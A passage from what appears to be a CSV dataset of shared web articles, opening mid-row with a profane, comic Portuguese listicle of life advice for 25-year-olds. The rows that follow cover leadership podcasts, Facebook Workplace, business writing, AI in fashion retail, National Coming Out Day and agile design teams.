25, você está a uns três anos do que eu gosto de chamar de ""O Ano Em Que Todos os FDPs que Você Conhece Vão Casar"": um tempo de varandas, de não falar palavrão perto de idosos e de perceber que cheirar cocaína perto de bebês não é uma boa ideia. Para você, esse período vai ser complicado, estar envolto em toda essa simpatia e amor, porque você sabe que está condenado a morrer sozinho. Sozinho fora os amigos. Aos 25 anos, você tem dois conjuntos de amigos: aqueles bocós com quem você cresceu e costumava sair na época da escola e amigos adultos de verdade, que você vê toda semana e com quem vai pro bar. Você tem um emprego e coisas para fazer: casamentos para ir e bancos para pensar; e, como um quarto da sua vida já foi por água abaixo, seu tempo é finito e precioso agora. Você realmente precisa ser tão próximo do cara com quem você morava na universidade? Sabe aquele cara que te deu um soco na boca no colegial, mas que agora te dá 10% de desconto no conserto do seu carro? Você realmente precisa dele? Aquelas minas que te largaram assim que começaram a namorar: elas não precisam estar no primeiro time, certo? Eu acho que vai ser assim: no futuro, nas casas de repouso do espaço, todos nós vamos compostar até a morte juntos, e vai ser superlegal: PlayStations, drogas, uma apreciação irônica das nossas lutas compartilhadas, o que vai fazer todo mundo rir até alguém perder a cabeça, literalmente, enquanto fazemos Vinesum do outro morrendo. Quando eu estiver trancado no pulmão de ferro que será meu túmulo, quero estar rindo e zoando com meus amigos - meus amigos de verdade, aqueles que não considero uma tarefa estar por perto -, lembrando as merdas que fizemos quando tínhamos 20 e poucos anos. Então, escolha esses amigos agora e vá criar memórias. 3) Aprender algo novo Quando eu era mais jovem - antes de me tornar um risco de diabetes ambulante -, eu costumava achar a coisa mais patética gente crescida escolhendo um novo hobby e fazendo um desses cursos para adultos. Quê, você quer aprender? No seu tempo livre? Neerrrrrrrrrrrd. Mas agora eu entendo: não aprendo nada novo há muito tempo, e é legal aprender no próprio ritmo, sem ser para porcaria de currículo nenhum. E tem essa outra coisa que eu faço o dia inteiro: olhar pra uma maldita tela. Então, sim, porra: quero aprender a escalar, a cuidar de borboletas ou a jogar badminton. Qualquer coisa que me faça passar uma hora a menos na frente do Twitter; aí, quem sabe, eu tenha alguma chance de ser realmente feliz. 4) Escute seus pais Você é adulto agora. E, como eles não podem mais te deixar de castigo ou te dar uma bronca porque você fuma, seus pais vão se tornar cada vez mais relevantes: o lugar aonde você vai quando quer comer carne assada, duas pessoas velhas que parecem um pouco com você e que ficam te ligando para perguntar se você anda comendo bem e fazendo amigos. E sim: seu pai pode ser meio chato na superfície (""Eu só gosto de duas coisas na vida, filho e/ou filha: assistir a F1 e pensar em F1""), mas você precisa ver como ele muda depois de três cervejas no bar. Ele não só vai soltar várias histórias sobre como ele pegava geral antes de conhecer a sua mãe como também vai começar a dar um monte de conselhos piegas. E mais: ele não entende seu mundo de Netflix, flash mobs e pen drives; então, você vai ficar se sentindo muito mais jovem depois. Conheça seus pais. Eles são muito mais legais do que você imagina. 5) Aprenda a fazer certas coisas sozinho A luz vive caindo no meu apê? Você sabe que dá pra consertar isso sozinho, né? Que não precisa chamar o senhorio? É só trocar as lâmpadas. Ou trocar o fusível. Duas coisas pequenas que você compra em qualquer lugar. Montar móveis sem parafusar uma estante ao contrário é um negócio tão gratificante que pode te levar à iluminação: sons de harpas e anjos cantando quando você coloca um vaso de planta numa mesinha, e a coisa toda não desmorona e começa a pegar fogo. 6) Vá fazer aquela merda que você sempre quis fazer Eu sempre quis ir a Nova York. ""Eu sempre quis ir a Nova York"", eu digo pras pessoas, melancolicamente, normalmente quando elas voltam de Nova York. Você percebe como esse sonho é modesto e tosco? Eu podia fazer isso agora mesmo. Eu podia ir até o aeroporto e fazer isso. Isso ia custar, sei lá, uns 2 mil pilas, fora os sanduíches de bagel que eu ia comer. Se você sempre quis fazer alguma coisa, vá lá e faça essa porra de coisa. Você tem 25 anos. Quem vai te impedir? 7) Seja o tio ou a tia mais legal do mundo Talvez você já tenha expelido uma criança humana do seu corpo ou ajudado outra pessoa a fazer isso: se sim, parabéns por ter de ser responsável a cada segundo pelo resto da sua vida. Se não, você só precisa achar um primo mais novo, sobrinho pequeno ou qualquer coisa similar que estiver mais perto e ser o tio ou a tia mais legal do mundo. O quê? Seu pai não te comprou um Lego no seu aniversário, porque você já tinha ganhado um monte no Natal? Advinha quem vai ganhar um Lego agora, amiguinho. Ah, sua mãe não joga Mario Kart com você, porque está ocupada cuidando de tudo mais de que você precisa para sobreviver? Advinha quem vai acabar com você na Koopa Troopa Beach com o Bowser, seu bestinha. O objetivo é fazer a criança gostar mais de você do que dos próprios pais e botar o pé na estrada assim que ela começar a chorar, cagar ou fazer qualquer coisa que exija uma reação adulta. Foto por Bruno Bayley. 8) Faça alguma coisa nos finais de semana Netflix é tipo heroína - se heroína fosse uma combinação de ficar mofando no sofá e assistir a todas as sete temporadas de The West Wing . O fato de a Netflix ter programado a mensagem ""Você ainda está aí? Você assistiu a 100 episódios de Prison Break seguidos, e eles nem fizeram tantos episódios assim. Você deve ter voltado para o começo e assistido a alguns de novo"" é um sinal: eles vão alertar as autoridades da sua morte se você insistir em ver 60 horas contínuas de The Office . É fácil perder um final de semana para o Battlestar Galactica , e outro... e logo você pensa: ""Não posso sair hoje, tenho uma temporada final para ver""; aí seus amigos param de ligar, e, daqui a cinco anos, alguém vai mencionar o seu nome e perguntar o que aconteceu. E eles vão dizer: ""Ah, sabe? Ele ficou muito chato"". Isso não pode acontecer. Vá a uma galeria de arte. Vá fazer uma caminhada. Vá a qualquer lugar onde você não possa ficar com seus genitais mal lavados espalhados por aí como um presunto esmagado. 9) Aprenda a cozinhar pelo menos uma refeição decente Falando em presunto: se sabe preparar uma refeição nota oito, você consegue transar. (Se você é uma pessoa bonita, você consegue com uma refeição nota sete: um bife decente ou um prato salteado que não seja feito do hambúrguer de ontem.) É assim que funciona: você convida a pessoa pra sua casa, abre uma garrafa de vinho, cozinha de um jeito bem extravagante na frente dela, faz uma torta, um tajine ou uma guacamole - ou farofa doce de maçã: as pessoas ficam loucas com farofa doce de maçã - e, logo depois, vocês vão transar. É uma reação humana básica: ninguém resiste a ver alguém transformar uma pilha de maçã cozida, manteiga e aveia numa deliciosa farofa doce de maçã. 10) Aprenda a assar um frango Pegue um frango. Esfregue aquele sal chique que vem em caixa nele. Ponha um pouco de azeite de oliva. Corte dois limões em quatro e enfie naquela cavidade que costumava ser o cu do frango. Coloque tomilho se tiver. Asse por algo entre uma hora e meia, duas horas. Bum. Você assou um frango. A pele está crocante e a carne está deliciosa. Vire e tire as de dentro. Desfie o que sobrar do peito e faça macarrão singapura pro jantar amanhã. Você assou um frango, cara! Você é foda. 11) Nunca deixe sua bateria acabar Quando você era mais novo, ser o cara ""que chega atrasado na sexta, porque saiu na quinta e não dormiu nada"" era um traço de personalidade descolado: você é o protagonista esperto do filme adolescente da sua própria vida! Você é tipo a Zooey Deschanel - se a Zooey acordasse num dormitório estranho e escovasse os dentes com o dedo para tirar o gosto de cu da boca. Você pediu pizza no escritório! Você é muito juvenil! Mas, quando você chega aos 25, os chefes não acham mais engraçado quando você aparece no escritório às 11 da manhã cheirando a uzo. Uma dica: carregue seu celular completamente antes de sair para uma noitada. Você vai precisar de dois carregadores: um em casa e um no escritório. Esse investimento de cinco dólares em qualquer banquinha de celular significa que, quando você acordar com aquela puta ressaca - e estiver, tipo, numa praia -, você vai poder dar uma desculpa pro seu chefe, responder qualquer mensagem de ""Cara, cadê você?"", ler seus e-mails para os seus colegas não te acharem um puta folgado e chamar um táxi para te levar pra casa, onde você vai colocar uma roupa limpa e ir direto ao trabalho. Isso é tão 25 anos, cara! Você continua tomando as mesmas decisões péssimas e irresponsáveis, mas agora está totalmente no controle! 12) Comece a editar seu passado Você provavelmente fez coisas na juventude que ainda te fazem suspirar e ficar vermelho de vergonha: você foi expulso de um bar. Você gostou sinceramente de Evanescence. Você tirou um ano de folga, construiu uma casa de lama e tirou uma foto cercado de crianças famintas só para colocar no Tinder. Você foi uma pessoa horrível. Então, comece a editar essas partes. Sabe aquele cara da escola que, toda vez que te encontra num bar, lembra aquele dia em que você não conseguiu fazer uma flexão na aula de educação física? Livre-se dele. Cartas de amor que você escreveu quando era adolescente? Queime tudo. O ano de folga que você tirou? Apague do seu CV. Aquelas roupas bregas que não servem mais, mas que você não tem coragem de jogar fora, porque te lembram da juventude? Dispare essas em direção ao sol. 13) ...Mas olhe para trás e ria de si mesmo Putz, você tinha piercing na sobrancelha. Você ficava acordado até as quatro da manhã escrevendo um romance. Você comprou um cubo de caldo de carne achando que era haxixe. Ache aquele diário de poemas, seu perfil do MySpace ou qualquer coisa assim, e ria da desgraça que você já foi. É um milagre você ter chegado até aqui, cara. 14) Perceba que fazer uma compra grande é muito legal Antes dos 25, suas experiências de supermercado envolviam pegar um saco daqueles cookies da marca própria do mercado? Quatro latas, tipo, de minimilho? Talvez um pacote daquela carne seca tipo aperitivo? Não sei. A gente precisa de ketchup? Abra os olhos e veja que fazer uma compra grande é maravilhoso. Sabe a geladeira da manhã de Natal? Isso é o resultado de uma compra grande. E você pode ter isso em casa, todo dia, se for ao supermercado uma vez por semana e comprar um monte de carne moída, um pacotão de frango, alguma coisa pra congelar, legumes e verduras, uma bandeijona de iogurte, um chá chique que você nunca experimentou, papel higiênico, algum tempero e salgadinhos congelados que você vai esquecer numa sacola e que vão virar uma maçaroca molhada no fundo do lixo. Uma boa compra grande pode mexer com a sua vida. Até comprar três caixas de atum em lata, porque ""Tá muito barato!"", você não sabe o que é viver. 15) Salve animais ou alguma coisa assim Mesmo já doando cinco reais para uma ONG todo mês, você devia começar a ter um impacto na Terra um pouco menos escroto do que nos 25 anos anteriores. Cara: a cocaína está destruindo a floresta tropical. Toda vez que dá a descarga, você joga fora oito litros de água limpa. Você, pessoalmente, é pior do que uma geladeira velha, cheia de latas de aerossol em chamas, amarrada num submarino nuclear no Delta do Níger. Salve um gato ou algo assim. Seja voluntário. Ache alguma coisa com que você realmente se importe e ache o melhor jeito de doar dinheiro ou tempo para eles. Você passou 25 anos sendo um baita egoísta; então, procure um novo tipo de felicidade que só pode ser atingida não sendo egoísta. 16) Comece a dar seus trocados para os mendigos Dá próxima vez em que alguém te pedir um trocado e você tiver, dê o trocado. Não pense em ou com o que ela vai gastar. Não repasse essas histórias que você ouviu de mendigos enganando idiotas como você 50 centavos de cada vez e se aposentando numa mansão em Granada. Tem uma pessoa sentada na calçada com um cachorro tremendo, porque não tem uma casa com uma cadeira pra sentar. Custa muito pouco ser brevemente descente com essas pessoas. 17) Aprenda a viver com outra pessoa Limpe as migalhas das suas superfícies, lave suas coisas direito, mire seu mijo no vaso - como seu gerente fica te lembrando de um jeito passivo-agressivo no e-mail da firma toda semana -, se você fizer um cocô gigante, dê a descarga. É sua merda. Que tipo de pessoa não se sente obrigada a dar descarga na própria merda? 18) Comece a transar sóbrio Sexo juvenil na soleira de uma porta é muito bom, mas isso é abastecido pelo tipo de adrenalina que só bate quando você encheu demais a cara. Sexo depois dos 25 é ótimo: você já sabe do que gosta, do que não gosta, sabe o que vai conseguir fazer. Você é bom nisso e construiu um monte digno de roupa de cama para relaxar depois. 19) Cuide do seu corpo Sabe essa coisa de ficar cansado e letárgico o tempo inteiro? Vitaminas podem ajudar nisso aí. Sabe esse estalo estranho que seu ombro faz? Tipo um thunq ? É bom um médico ver isso. Talvez você só precise de uma boa massagem, talvez você tenha uma doença de ombro rara ainda não diagnosticada. Um médico pode te dizer. Acontece que o Hulk Hogan estava certo sobre vitaminas e o Mr. Motivator estava certo sobre aqueles exercícios matinais. Parece que caras enrugados de maiô são mesmo inteligentes. O que torna ainda mais estranho eles escolherem se vestir como criminosos sexuais. Bom: dê uma enrijecida, durma bem, tome aquelas pastilhas efervescentes de vitamina C de vez em quando. Você vai se sentir ótimo. 20) Tenha uma coisa legal que você salvaria se sua casa pegasse fogo Antes dos 25 anos, as únicas coisas que eu tinha que valiam a pena salvar de um incêndio eram um par de meias muito bom, que hoje estão furadas, e, sei lá, meu passaporte. Não sei. As chaves? Eu ainda preciso delas se minha casa pegou fogo? Agora, eu tenho um belo conjunto de facas. Isso mesmo: sem meias, sem passaporte, a casa pegando fogo ao fundo, eu saindo de lá sorrindo com as minhas facas. (Se eu tivesse de escolher uma só, eu pegaria a faca maior.) 21) Arranje um trabalho de que você goste Claro, a economia está em ruínas e as pessoas têm sorte de ter um emprego, qualquer emprego; porém, aos 25 anos, você está num ponto em que não tem muita responsabilidade, mas ainda tem um restinho daquela atitude ""Foda-se, vou ficar seis meses na Tailândia"". Se você já pensou alguma vez em trocar de profissão, voltar a estudar, largar tudo e virar freelancer ou mudar de país, agora é o melhor momento para fazer isso. 22) Comece a prestar atenção em política Mesmo que você esteja errado - ainda que você não ache que o Nigel Farange tem cheiro de todos os cigarros fumados num clube de striptease -, é bom sair da neblina da ignorância, começar a assistir ao noticiário e entender o que está acontecendo. Talvez você preste atenção em política há anos - fumar um beck num quarto com um pôster do Che Guevara já conta -, mas, neste ano, com as Eleições Gerais aqui no Reino Unido, é hora de jogar seriamente. Na verdade, é bem legal ter uma opinião informada sobre alguma coisa, especialmente quando você ganha aquela discussão de bar só porque leu aquele artigo do The Independent . Então, leia panfletos. Fique puto com as coisas. Participe de uma marcha, se você acha que precisa. Se importe. 23) Pare de tentar ser seus heróis Chapar muito e ficar acordado até tarde notando coisas não vai te transformar no Hunter Thompson. Falar muito rapidamente sobre pés não vai te transformar no Tarantino. Você é uma pessoa completamente formada agora. Pare de economizar para comprar exatamente a mesma jaqueta que o Drake usou no clipe de ""Fuckin' Problems"". 24) Brunch Você vai curtir muito essa coisa de brunch. Não é uma refeição de verdade, mas, quando suas noites de balada ficarem mais curtas e suas ressacas, mais longas, você vai começar a curtir muito o brunch. 25) Abrace a novidade que é crescer Existe essa teoria de que todas as células do seu corpo são substituídas de sete em sete anos: todos os ossos, todas as veias, esse caroço estranho que você tem na testa. Isso é só meio verdade, mas a analogia é bem legal: você é uma pessoa diferente, inteiramente diferente, daquele magricelo de 18 anos que era antes, com aquele cabelinho com gel, piscando seus jovens olhos para o sol cheio de esperança. Pense nisso assim: se você tem 25 anos agora, você tinha 18 quando o primeiro iPhone saiu. Agora, veja os iPhones! Você era um iPhone; agora, você é um iPhone 6! Você tem uma câmera na frente e outra atrás agora! Você faz vídeos em câmera lenta! Você é muito mais largo do que costumava ser, mas estranhamente mais fino! E essa mudança é boa. A menos que você tenha cometido uma série de assassinatos ou algo assim, você é uma pessoa melhor do que antes. Você está mais cheio, mais redondo, mais confortável com quem você é. Provavelmente, seu corte de cabelo está melhor, ou você fez um outro desenho de sobrancelha. E as chances são grandes de você estar usando jeans melhores. Isso é algo para celebrar, não? Você não é mais novinho. Você nunca mais vai ser a pessoa que inventa novas gírias. Ninguém nunca mais vai se referir a você como ""garoto prodígio"" quando você fizer algo direito: as pessoas já esperam que você seja competente - mas isso não é uma coisa ruim. Muita gente tem medo de envelhecer: nunca mais fazer uma coisa pela primeira vez de novo, nunca mais sentir aquela sensação de urgência do amor no estômago, desaparecer na mediocridade, a vida gradualmente virando uma longa viagem à IKEA. Mas não é assim: envelhecer é encontrar novas coisas pra gostar e não se agarrar desesperadamente às coisas que você costumava fazer. Não seja um desses babacas sentados no Cereal Café de pijama, falando com saudade do primeiro Caça-Fantasmas . Tradução: Marina Schnoor",pt
1476127183,CONTENT SHARED,378386436485699053,3609194402293569455,3635552815842068801,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://endeavor.org.br/podcasts-lideranca-gestao/,5 Podcasts : Aprenda mais sobre gestão e liderança,"Está precisando de ideias sobre como melhorar a gestão da sua empresa e ser um líder melhor? Abra os ouvidos: nós transformamos alguns dos nossos vídeos mais acessados em podcasts para você ouvir a hora que quiser. Enquanto o CEO Summit 2016 não chega (é no próximo dia 18, a partir das 9h, com transmissão online gratuita), nós transformamos os vídeos mais vistos da história do evento em podcasts para você ouvir sempre que sobrar um tempo, entre um bloco e outro da sua agenda. Nessa seleção, você vai conhecer os hábitos que aproximam a CEO da TAM da realidade de seus consumidores para criar inovações centradas no usuário; descobrir como a relação entre sócios pode fazer toda diferença para se aventurar em um mercado novo e também entender como equilibrar os espíritos gestor e empreendedor no dia a dia da gestão do seu negócio. 1. Como aprender todos os dias a sair da crise, por Claudia Sender da TAM Para Claudia Sender, primeira mulher a controlar uma empresa aérea brasileira, deixar de investir em inovação em tempos de crise vai fatalmente fazer com que você saia dela mais fraco. Além disso, deixar de investir em seus clientes é garantir que eles escolhão outros parceiros. ""Não adianta ficar só na retranca. O investimento é essencial nas coisas que os nossos clientes valorizam"", diz Cláudia, ""Menos pessoas estarão voando? Elas voarão conosco""' Ouça o seu painel do CEO Summit 2015. 2. Simplicidade que vai longe, com Elie Horn da Cyrela O recluso fundador da empreiteira Cyrela, Elie Horn, construiu seu império do zero. Nascido na Síria, ele chegou ao Brasil aos 10 anos e começou a trabalhar vendendo produtos de porta em porta. Hoje, mesmo distante das operações, ele afirma que jamais vai parar de produzir e retribuir à sociedade, e que tem como missão fazer o bem. Ouça agora no painel do CEO Summit 2014, moderado pela jornalista Cristiane Correa, um pouco da história de simplicidade e altruísmo do empreendedor. 3. Como inovar em um mercado tradicional, por Bernardo Ouro Preto do St. Marche Dizem que o oceano azul (um novo e intocado mercado) é uma descoberta para poucos. Os mercados já estão saturados e nadar sozinho é cada vez mais difícil. Mas nadar contra a corrente em mares cheios de grandes players pode criar novas oportunidades. Foi o que Bernardo Ouro Preto se propôs a fazer com a fundação do St Marché, uma rede de mercados cheia de personalidade, que alcançou um segmento pouco explorado, mesmo em uma indústria tão tradicional. Conheça a sua história. 4. Os desafios de ser feliz Ricardo Guimarães, presidente da Thymus Branding, mostra nesse papo com o jornalista Alexandre Teixeira como encarar os desafios da jornada de forma entusiasmada, transformando essa alegria em uma característica não só sua, mas também da sua marca e do seu time. Para ele, trata-se do equilíbrio entre o espírito gestor do controle e da ordem, com o espírito aventureiro do empreendedor. 5. Porta dos Fundos: a genialidade das marcas que sabem rir de si mesmas Eduardo Ourivio, sócio do Spoleto e Empreendedor Endeavor, levou na esportiva a sátira criada pelo Porta dos Fundos criticando o atendimento dos restaurantes e contratou a mesma produtora para criar uma réplica genial. Assim nasceu uma nova forma de fazer marketing na internet: a das marcas que sabem rir de si mesmas. Conheça os bastidores dessa história na entrevista com Ian SBF e Antonio Tabet, do Porta dos Fundos, e saiba como eles transformaram um canal do YouTube em uma empresa de marketing admirada e assistida por milhões de pessoas. Curtiu essa lista? Então aproveite para se inscrever na transmissão online do CEO Summit 2016 que já tem vários nomes de peso confirmados como Alex Atala, Ricardo Semler e Rodrigo Galindo. São mais de 7 horas de conteúdo inédito transmitido ao vivo e gratuitamente no Portal da Endeavor no dia 18 de outubro, a partir das 9h. Nos vemos lá!",pt
1476131269,CONTENT SHARED,-8800029253812071912,-709287718034731589,3080321992027594995,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,https://9to5mac.com/2016/10/10/facebook-workplace-ios/,"Facebook Workplace officially launches on the web and iOS, set to compete head-on with Slack","Facebook today officially announced the release of their Workplace business product. Originally titled Facebook at Work, the new product is set to compete head-on with other similar services like Slack and Hipchat. Riding off the familiarity that users already have with the social network, and its competitively low price-points, Workplace looks like it can be a contender in the business communications demographic... Although its competitors have been around for a few years now, Facebook's Workplace may have a chance to gain the traction among those who haven't quite found their preferred platform yet. Its extremely competitive price may also be the thing that pulls businesses away from similar products. Slack's standard plan is priced at $6.67 a month per-user, while Facebook's offering is just $1 a month per-user. The difference here is that Slack does offer an unlimited plan for users to try indefinitely, but only the last 10,000 messages between a group are saved before they begin to disappear. Although both products will compete with one another for business attention, both offer different solutions to similar problems. Part of Slack's strength and aggressive growth has come from the fact that it has allowed for a large library of integrations. Users of Slack can integrate the services and products they already into their Channels to create their own all-in-one solutions. For now, Workplace is tightly kept within its own ecosystem. Users on Workplace have a completely separate account from their usual Facebook; there is a clear separation between personal and work here. The Workplace News Feed is personalized to the company, and ads are non-existent, thus helping to create a clutter free News Feed. Voice and video calling also come standard with Workplace. Facebook's Workplace offers users the ability to create Groups for their teams to help keep the conversation driven in one direction. Possibly the most interesting feature here is the ability to collaborate with other companies that utilize Workplace in one Group. Essentially, two separate companies, that are both utilizing Workplace, can join together in one group to get work done together. It will be interesting to see if Facebook decides to integrate their Messenger Platform's bots into Workplace in the future. The lack of integration with third-party services may be one of the things that keeps users from moving to Workplace just yet. Workplace is now available as a download for iOS in the App Store. Image: Workplace",en
1476136683,CONTENT SHARED,6766105865162331239,-8241940599580729220,9042078098593029515,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,https://hbr.org/2016/10/stop-trying-to-sound-smart-when-youre-writing,Stop Trying to Sound Smart When You're Writing,"When I read a piece of business writing, whether it's a proposal, a report, or a simple email, I'm turned off by people who have invested more energy trying to sound smart than in trying to be smart. Ideally, I'd like to read communications where I don't notice the writing at all. The best writing is so transparent that it doesn't obscure the underlying message. You can achieve that in your writing by investing in great content and then stripping away anything that detracts from it. How do you make your content great? Before crafting a single sentence, you determine the purpose and desired outcome of your communication. You go beyond the facts and information you're transmitting and push yourself to clarify what you want your audience to think, to feel, and to do after they've read your message. For example, saying that you're 60% of the way to your annual target might leave one person thinking that you are progressing well and another thinking that the 40% gap is too large to close. If you want people drawing one conclusion rather than the other, you'll either need to add facts (e.g., last year at this time, we were only 49% of the way there and we only came up 2% short) or commentary (e.g., I know from experience that 40% is well within our reach). Include what's required to get your audience to interpret the message the way you want. Once you're clear on what you want people to think, go one layer deeper and consider how you want them to feel. If you want your audience to act, you need to stir something in them that goes well beyond intellect; you need to evoke the emotions that will fuel action. What are you trying to tap into? Be clear about what feelings you're trying to create because written communication leaves room for very different emotional reactions. In the example above, do you want people to feel excited by the chance to close the 40% gap? If so, how are you reducing the likelihood that they will go straight to fear of failure? The tone of your message comes out in the words you choose. Choose wisely. You and Your Team Series Business Writing If your message has a purpose, you are communicating because you want people to do something differently. What is it that you want them to do? Does closing the gap mean phoning one customer each morning before opening their email? Are you asking them to recommend one complementary product each time someone makes a purchase? Don't forget to make the ask. Now, you've worked through what you want your audience to know, think, feel, and do and you might think you're done. You're not. Take one more pass through your message to see if the knowledge, perceptions, and emotions set up the action you were looking for. If not, add to or modify your message. If you've crafted a message with a clear outcome in mind and baked in all the components to support that outcome, you're way ahead of most people. Now, go back over your language and grammar and look for opportunities to simplify, tighten, and remove speed bumps from your writing. You want to fix anything that detracts from the core message. As Elmore Leonard said , ""If it sounds like writing...rewrite it."" Here are a few things to check: Eliminate fancy-pants words. If you communicate effectively, you reduce the distance between you and your reader. Unfortunately, many people use language in a way that increases that distance and weakens the connection. There's no faster way to distance your audience than by using highfalutin words to try to impress them (you know, highfalutin words like, ""highfalutin""). Beware of using words incorrectly. My personal pet peeve is ""methodology,"" which like every other -ology in the English language, should refer to the study or system of something. If you're just using a method, say method. While you're at it, strike utilize, leverage, and paradigm too! ( Business jargon is not a ""value-add."" ) Any time you are inclined to use a word that makes you feel smarter than the person you're communicating with, choose again. Choose words that strengthen the connection between you and your readers. Make bulleted lists flow. Using bullet points can help you be succinct and help your reader key-in on the most important information. A bulleted list should create a rhythm for the reader almost like reading the lines of a poem. Unfortunately, it's common to read lists where the parts of speech don't match. For example, three of the four bullets might start with verbs but one starts with an adjective. This interrupts the flow and makes it difficult for the reader. Imagine a bulleted list that includes: reduce absences; increase motivation; disengaged employees; identify concerns. If you're using a bulleted list, make sure each bullet has the same grammatical form. Use an active voice. The one sure-fire way to make your writing more pompous is to use a passive voice; where the object of an action becomes the subject of the sentence. There's a great web resource from the University of North Carolina, which gives the example, ""Why was the road crossed by the chicken"" to demonstrate the impact of leaving the actor in the sentence (the chicken) to the end. The easiest way to spot the passive voice in your writing is to look for sentences with is, am, are, were, be, being, or been. See if you can rewrite these sentences with a verb other than to be. ""Complaints were lodged by customers,"" becomes, ""Customers lodged complaints."" ""The contract will be issued Friday,"" becomes, ""I will issue the contract Friday."" If you use an active voice, you'll be more interesting to your reader. You'll also give your reader more information and leave them feeling that you understand your accountability - all good things in business writing. Great writing for the sake of great writing is best left to poets and novelists. Great business writing should deliver its content without getting in the way. Invest your energy in choosing words that will inspire the actions you're looking for and strip away anything that will detract from your core message.",en
1476180350,CONTENT SHARED,3585886677712899987,3829784524040647339,5506796665797989272,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://techstory.in/artificial-intelligence-fashion/,Can Artificial Intelligence Enhance The Mass Customization In The Fashion Sector ?,"Everybody wants to look beautiful. We all like to be well dressed and keep up with fashion trends, but most times this is not possible. We are constrained by time, money and the skill to put together trendy outfits. The problem gets compounded when we go shopping online. Every store has 1000's of items in each category. Products in different - brands, colours, styles, and price points. This is all very confusing and it is hard to decide want to buy, so we pick up something, get it delivered, try it and return it unsatisfied. Fashion as a segment has the highest number of returns in e-commerce, almost 25-50%. On the flip side, every retailer is plagued by the question, ""How many products per category should I carry?"" AI can be very helpful here, not just with inventory management but it can enable the retailer to become a curator and not a clearing house. Personalizing the content for each customer to show her just the right products is more important than having zillions of products to choose from. Visual search goes mainstream Wenda Harris Millard, president and COO of MediaLink, thinks marketers are going to be obsessed by Visual search for the next few years and will use it to enhance everyday life, in ways that we can't image today. Fashion as a category being visual has embraced this technology. Most times it is hard to describe an apparel in words unlike goods in electronics or FMCG. If something can be described well, text search engines would work beautifully. Since we cannot describe apparel well, doing things using visuals is so much more intuitive. Today, you can not only upload a photo of an item that inspires you and find similar ones online you can even upload an image and get a list of complementary products that complete the look! [box type=""shadow"" align=""aligncenter"" class="""" width=""""] Related Read: Will Convenience of Virtual Fitting Rooms Make Physical Fitting Rooms Obsolete ? [/box] Can AI deliver one to one services at scale? Most decisions that we humans make can be assisted. Especially in cases of fashion where specialist input of what suits me, what goes well with what, is very desirable. We all have stylish friends who give us fashion advice, but they are not always around when we need them and it is impossible to get their advice on a daily basis. AI's ability to make predictions has particular implications for a trend-driven industry like fashion. Machine learning can enable brands to finely personalize their offerings to each and every customer. The AI engine remembers individual choices and knows their unique tastes. It consolidates fragmented customer behaviors to give true personalization. Decoding fashion The most basic features of a garment are Color, Shape, Print and Fabric. Computer vision techniques can be used to extract these attributes and convert it into data that is processed by machine learning Algorithms. Fashion Algorithm's are nothing but an exhaustive set of rules that contextualize data. It is the collective mind of all fashion stylists processing consumer data such as body shape, skin tone, shoppers lifestyle, previous purchases etc. and mapping the requirement to extracted attributes and picking the appropriate products for the shopper, all in real time. [box type=""shadow"" align=""aligncenter"" class="""" width=""""] Related Read: MyTryRoom - Try Before You Buy - Bridging The Gap Between Online & Offline Shopping ! [/box] It is not possible for even a large bank of stylists to crunch this data and make recommendation at the speed and scale required by retailers today. Machine systems can easily compute these vast data sets and be trained to learn correlations between different attributes and fill in the missing values. They even have inbuilt self correct mechanisms to process and learn from feedback, based on what shoppers do with a recommendation. So, the more a customer uses the service, the more accurate the results will be. Complex processing at this scale and speed has been made possible today due to advancements in 2 major fields of computer science. Computer vision and machine learning. Algorithms developed in these fields were largely in academics. To make these accessible to general public would have required enormous computing power. Thanks to tectonic changes in the GPU industry in recent years, massive computing is now affordable. This is fuelling lots of new-age products like AI bots that can converse with humans and answer questions related to fashion / e-commerce / style etc. It is only matter of time before each person will have an AI bot as her stylist to help her dress better, shop more intelligently and be stylish! Reference: Quora , Adweek (Disclaimer: This is a guest post submitted on Techstory by the mentioned authors.All the contents and images in the article have been provided to Techstory by the authors of the article. Techstory is not responsible or liable for any content in this article.) Image Source: pixabay.com About The Author: Rajesh Kumar , CTO at Streamoid Technologies. Streamoid is a Fashion Focused technology company with Image Recognition and Fashion AI at its core. [box type=""shadow"" align=""aligncenter"" class="""" width=""""] Also Read: Styletag.com is one stop solution for your curated fashion and lifestyle needs! [/box]",en
1476195015,CONTENT SHARED,3196303498841885455,-5527145562136413747,-1955486242791226927,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",RJ,BR,HTML,https://en.wikipedia.org/wiki/National_Coming_Out_Day,"National Coming Out Day - Wikipedia, the free encyclopedia","National Coming Out Day ( NCOD) is an annual LGBTQ awareness day observed on October 11. Founded in 1988, in the feminist and gay liberation spirit of the personal being political, the emphasis is that the most basic form of activism is coming out to family, friends and colleagues, and living life as an openly lesbian, gay, bisexual or transgender person.",en
1476230338,CONTENT SHARED,7174452660053929140,998688566268269815,4316966006605228355,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://uxmag.com/articles/the-agile-design-team-maturity-scale,The Agile Design Team Maturity Scale | UX Magazine,"When a team begins to adapt to an agile workflow they can be at any point on the scale. This depends on how they worked and how they were structured before the change. For example, a large organization that operated a 'design department' will most likely find themselves right at the 'Throwing grenades' stage.",en
